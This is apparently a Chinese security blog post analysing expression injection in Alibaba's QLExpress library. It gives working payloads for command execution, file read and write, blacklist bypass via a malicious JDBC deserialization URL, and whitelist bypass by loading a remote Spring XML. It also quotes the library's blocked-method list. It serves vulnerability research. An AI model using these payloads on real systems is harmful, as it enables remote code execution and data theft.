QL表达式注入
依赖
| 12
 3
 4
 5
 
 | <dependency><groupId>com.alibaba</groupId>
 <artifactId>QLExpress</artifactId>
 <version>3.3.2</version>
 </dependency>
 
 | 
来自https://github.com/alibaba/QLExpress
使用
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 
 | 变量:使用$符号加上变量名的方式来引用变量,例如$age表示引用变量age的值。
 常量:支持整数、浮点数、字符串、布尔值、空值等常量类型,例如1、2.5、"hello"、true、null等。
 
 算术表达式:支持加减乘除、取余、取反等算术运算,例如1+2、3*4、-5等。
 
 逻辑表达式:支持与、或、非等逻辑运算,例如true && false、true || false、!true等。
 
 比较表达式:支持等于、不等于、大于、小于、大于等于、小于等于等比较运算,例如1==2、"hello"!="world"、3>4等。
 
 条件表达式:支持三目运算符来表示条件表达式,例如age>18 ? "成年人" : "未成年人"。
 
 正则表达式:支持使用正则表达式进行匹配操作,例如"name =~ 'Tom.*'"表示name以Tom开头的字符串。
 
 函数调用:支持调用内置函数和自定义函数,例如round(3.14159, 2)表示保留3.14159的小数点后2位。
 
 方法调用:支持调用对象的方法,例如user.getName()表示调用user对象的getName()方法。
 
 数组:支持定义和操作数组,例如a[0]表示访问数组a的第一个元素。
 
 Map:支持定义和操作Map,例如map.get("key")表示获取Map中键为key的值。
 
 对象属性:支持访问对象的属性,例如user.name表示访问user对象的name属性。
 
 赋值表达式:支持将值赋给变量或对象属性,例如age = 20、user.name = "Tom"。
 
 代码块:支持使用大括号将多个表达式组成代码块,并通过return语句返回值,例如{a=1;b=2;return a+b;}。
 
 表达式语句:支持将多个表达式用分号分隔,表示多个语句组成一个代码块,例如a=1;b=2;c=3;。
 
 
 | 
Operator
可以用来修改相关的关键字
| 12
 3
 
 | runner.addOperatorWithAlias("如果", "if", null);runner.addOperatorWithAlias("则", "then", null);
 runner.addOperatorWithAlias("否则", "else", null);
 
 | 
调用类方法
如果传入一个类 我们可以直接调用这个类里面的任意方法
比如把这个shell类绑定到a变量 调用a.evil方法 就能调用对应的方法
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 
 | package org.example.qlinject;
 import com.ql.util.express.DefaultContext;
 import com.ql.util.express.ExpressRunner;
 
 import java.io.IOException;
 
 public class main {
 public static void main(String[] args) {
 try{
 ExpressRunner runner = new ExpressRunner();
 DefaultContext<String, Object> context = new DefaultContext<String, Object>();
 shell shell = new shell();
 context.put("a", shell);
 
 String express = "a.evil();";
 Object r = runner.execute(express, context, null, true, false);
 System.out.println(r);
 }catch (Exception e){
 e.printStackTrace();
 }
 
 }
 }
 class shell{
 public void evil() throws IOException {
 Runtime.getRuntime().exec("calc");
 }
 }
 
 
 | 
调试一下如何调用的

这里校验了 输入的表达式是否缓存内 如果在缓存里面就取出 不在就加载
后面主要是环境的构建和表达式的解析  随后来到了executeInner方法

先是寻找这个类的对应调用方法  找到之后先是进行了安全性检查 检查无误之后尝试反射调用 

然后就调用了我们的方法

显然这里直接导入一个写成这样的恶意类的情况几乎不存在 我们也可以调用其他的

官方文档里面提供了这个 告诉我们在内部已经导入了这些包
如果没有任何安全组的情况下 我们是可以直接执行命令的
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | public class main {public static void main(String[] args) {
 try{
 ExpressRunner runner = new ExpressRunner();
 DefaultContext<String, Object> context = new DefaultContext<String, Object>();
 String express = "Runtime.getRuntime().exec(\"calc\");";
 Object r = runner.execute(express, context, null, true, false);
 System.out.println(r);
 }catch (Exception e){
 e.printStackTrace();
 }
 
 }
 }
 
 
 | 
安全组设置
QLExpress 提供了三个级别的保护给我们
黑名单
需要在代码中开启
| 1
 | QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
 | 
这样我们上面的payload就失效了
调试一下

这里有一个方法 阻止我们调用不安全的方法A(v3.3.2)
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 
 | static {
 SECURITY_RISK_METHOD_LIST.add(System.class.getName() + "." + "exit");
 
 
 SECURITY_RISK_METHOD_LIST.add(Runtime.getRuntime().getClass().getName() + ".exec");
 SECURITY_RISK_METHOD_LIST.add(ProcessBuilder.class.getName() + ".start");
 
 
 SECURITY_RISK_METHOD_LIST.add(Method.class.getName() + ".invoke");
 SECURITY_RISK_METHOD_LIST.add(Class.class.getName() + ".forName");
 SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".loadClass");
 SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".findClass");
 SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".defineClass");
 SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".getSystemClassLoader");
 
 
 SECURITY_RISK_METHOD_LIST.add("javax.naming.InitialContext.lookup");
 SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setDataSourceName");
 SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setAutoCommit");
 
 SECURITY_RISK_METHOD_LIST.add("jdk.jshell.JShell.create");
 SECURITY_RISK_METHOD_LIST.add("javax.script.ScriptEngineManager.getEngineByName");
 SECURITY_RISK_METHOD_LIST.add("org.springframework.jndi.JndiLocatorDelegate.lookup");
 
 
 for (Method method : QLExpressRunStrategy.class.getMethods()) {
 SECURITY_RISK_METHOD_LIST.add(QLExpressRunStrategy.class.getName() + "." + method.getName());
 }
 }
 
 | 
这里虽然过滤了很多东西 但依旧可以存在漏洞 比如jdbc 要求本地存在可以反序列化的依赖
jdbc

 这里可以直接调用jdbc打本地链子了
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | public class main {
 public static void main(String[] args) throws ScriptException {
 try{
 ExpressRunner runner = new ExpressRunner();
 DefaultContext<String, Object> context = new DefaultContext<String, Object>();
 QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
 String express = "import java.sql.Connection;import java.sql.DriverManager;url='jdbc:mysql://url:3333/mysql?characterEncoding=utf8&useSSL=false&maxAllowedPacket=65535&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&user=yso_CommonsCollections6_calc';Connection conn = DriverManager.getConnection(url);a=1;a";
 Object r = runner.execute(express, context, null, true, false);
 System.out.println(r);
 }catch (Exception e){
 e.printStackTrace();
 }
 
 }
 }
 
 
 | 

这里可以利用java.io.还可以读写文件 
任意文件读
| 1
 | String code = "import java.io.BufferedReader;n" +"import java.io.FileReader;n" +"FileReader f=new FileReader("flag");n" +"BufferedReader a=new BufferedReader(f);n" +"String str=a.readLine();n" +"System.out.println(str);";
 | 

任意文件写
| 1
 | String code = "import java.io.*;n" +"BufferedWriter out = new BufferedWriter(new FileWriter("flag"));n" +"out.write("success");n" +"out.close();";
 | 
还可以打反序列化的链子 如果有依赖的话 这里不细研究
白名单
默认不提供白名单设置

官方可以让我们加白预期了,这样非预期类的执行的方法会失败
测试代码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | public class main {public static void main(String[] args) {
 try{
 ExpressRunner runner = new ExpressRunner();
 DefaultContext<String, Object> context = new DefaultContext<String, Object>();
 QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
 QLExpressRunStrategy.addSecureMethod(Runtime.class, "getRuntime");
 QLExpressRunStrategy.addSecureMethod(Runtime.class, "freeMemory");
 String express = "Runtime.getRuntime().exec(\"calc\");";
 Object r = runner.execute(express, context, null, true, false);
 System.out.println(r);
 }catch (Exception e){
 e.printStackTrace();
 }
 
 }
 }
 
 | 
这里加白了freeMemory 方法 但是调用的是其他的方法
断点下在QLExpressMethod#QLExpressRunStrategy.assertSecurityRiskMethod(method);方法这里
进到assertSecurityRiskMethod 里面

他的每次都是拼成类和方法 然后和集合里面的比较方法字符串
这里获取的都是使用反射获取的类名字和方法名凭拼接 不能修改绕过
构造方法触发恶意调用
在另外的包里面 我写入一个这样的文件

然后我们的代码这样写

运行如下

虽然会被抛出 但是还是触发了构造方法
调试下去 在com.ql.util.express.instruction.op#的executeInner方法这里通过反射构造了这个类

这里用反射调用了构造方法   在调用类的构造方法之后 才使用QLExpressRunStrategy.assertSecurityRiskMethod(method); 检查使用的方法 如果能找到一个类 构造方法存在注入 就能造成注入
ClassPathXmlApplicationContext
在ClassPathXmlApplicationContext 的构造函数里面存在refresh方法

里面有一个invokeBeanFactoryPostProcessors 方法 在上下文里面调用了工厂处理器

跟下去,AbstractBeanFactory.resolveBeanClass()->AbstractBeanFactory.doResolveBeanClass(),用来解析Bean类
调用了evaluateBeanDefinitionString()函数来执行Bean定义的字符串内容 触发SpEL 注入
payload
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | public class main {public static void main(String[] args) {
 try{
 ExpressRunner runner = new ExpressRunner();
 DefaultContext<String, Object> context = new DefaultContext<String, Object>();
 QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
 QLExpressRunStrategy.addSecureMethod(Runtime.class, "getRuntime");
 QLExpressRunStrategy.addSecureMethod(Runtime.class, "freeMemory");
 ClassPathXmlApplicationContext a = new ClassPathXmlApplicationContext();
 String express = "import org.springframework.context.support.ClassPathXmlApplicationContext;ClassPathXmlApplicationContext b = new ClassPathXmlApplicationContext('http://127.0.0.1:8888/spel.xml');a=1;a";
 Object r = runner.execute(express, context, null, true, false);
 System.out.println(r);
 }catch (Exception e){
 e.printStackTrace();
 }
 
 }
 }
 
 | 
成功绕过白名单

PrintServiceLookup
gson链子的终点 
JDK 中 PrintServiceLookup 接口用于提供打印服务的注册查找功能
他的构造函数可以rce
实现了PrintServiceLookup都可以rce
IniEnvironment
来自wmctf 的一条新链子 在包org.apache.activemq.shiro.env.IniEnvironment 下
创建一个类
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 
 | package org.example.aaa;
 public class aaa {
 private String name;
 private int age;
 
 
 public aaa(){
 
 }
 public aaa(String name, int age) {
 this.name = name;
 this.age = age;
 }
 
 
 public String getName() {
 System.out.println("getName");
 return name;
 }
 
 
 public void setName(String name) {
 System.out.println("setName");
 this.name = name;
 }
 
 
 public int getAge() {
 System.out.println("getAge");
 return age;
 }
 
 
 public void setAge(int age) {
 System.out.println("setAge");
 this.age = age;
 }
 }
 
 | 
然后尝试去获取这个类
| 12
 3
 4
 5
 
 |  IniEnvironment iniEnvironment=new IniEnvironment("user=org.example.aaa.aaa\n" +"user.name=\"114\"\n" +
 "user.age=514\n"+
 "user.age.a=1919\"");
 }
 
 | 
可以看到调用了setAge和getAge方法

看到他的构造函数

他会调用这个init方法

在里面调用createObjects 方法 构建了一个bean工厂然后实例化

一路上就是创建Ini 然后createInstance  buildInstances
主要从buildInstances 开始

一路上都是属性读取什么的  主要出现这里 

这里使用applyProperty 解析了这个对象的属性

这里使用 setProperty 设置了对象属性 调用链子如下

get方法的触发 出现在applyProperty 方法内

这里进去 的getPropertyDescriptor 方法内会使用getProperty(bean, next) 触发getter方法。
在ini容器里面 存在一些配置

二次反序列化新链学习 - 先知社区 (aliyun.com)
这里就可以接上很多的链子了
这里我们也可以利用这个完成二次反序列化 或者接上一些调用getter的方法 这里不细说
沙箱
提供了沙箱模式 ban了很多

没啥想法